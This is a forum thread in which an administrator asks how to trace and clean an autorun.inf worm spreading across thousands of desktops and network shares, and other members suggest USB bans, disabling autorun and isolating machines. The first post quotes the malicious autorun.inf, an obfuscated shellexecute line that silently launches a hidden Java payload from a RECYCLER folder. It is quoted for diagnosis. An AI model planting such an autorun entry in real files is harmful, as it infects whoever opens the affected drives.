Autorun.inf Virus all over network shares - How to find source device?

[hmig89]

Hi All,

I am running into an issue, a number of desktops and laptops (in the 1000's) have the autorun.inf virus. All the drive icons appear as folders, when a user opens either their C: or shared drive it opens a cmd window which closes by itself. Looks like it maybe some kind of java exploit too?

If I open the autorun.inf in notepad it has the following contents:
[ autorUN ]
ACtIOn =Open folder to view files
ICon=%SySTemRoOt%\sYStEM32\SHELL32.dlL,4
sHelLExECUTe =cmd.exE /q /c eXPLOREr.exe . & StART /I /B "" JAvAW.eXE -classpath "RECYCLER\S-6-3-92-7181272086-2272571398-1241750246-7865\qeseoeg.QUS" a

Different PCs load different files, so instead of qeseoeg.QUS it can be emiu.wew

I have thrown combofix with this that works, but how do I manage this on such a large scale number of devices? I am wondering if I can figure out where the worm is coming from ie another PC or server? Maybe im approaching this the wrong way?

Appreciate any help.

Thanks

 

[oldtech]

Given the source is most likely a USB device I think you are in for a hard slog. Ban USB devices including phones from connecting to the PC's (at least temporarily) then (preferable if not practical) isolate and remove from each machine before adding back into the network. You are going to need to verify none of the machines are rooted as well.

Out of curiosity what antivirus allowed this to happen?

 

[Markverhyden]

Wow!!! That's going to be a tough dragon to slay. Out of curiosity, are these on AD? Pushing a policy to disable autorun might help. Beyond that I've never seen that one.

 

[hmig89]

Thought as much, there is not going to be a quick fix for this. They are on AD - we raised an RFC with the client to disable autorun but RFC got rejects because they wanted their staff keep playing DVDs via autorun. Sounds stupid but true. They are using Avast! On their end points. However their Novell file shares have no virus protection what so ever!! So far I have also established the work makes registry sub keys under mount point 2. When ever C: drive or any network driver are opened it opens up the command print and tries to run javaw with a class, what it does I have no clue. This is going to require some serious man hours!!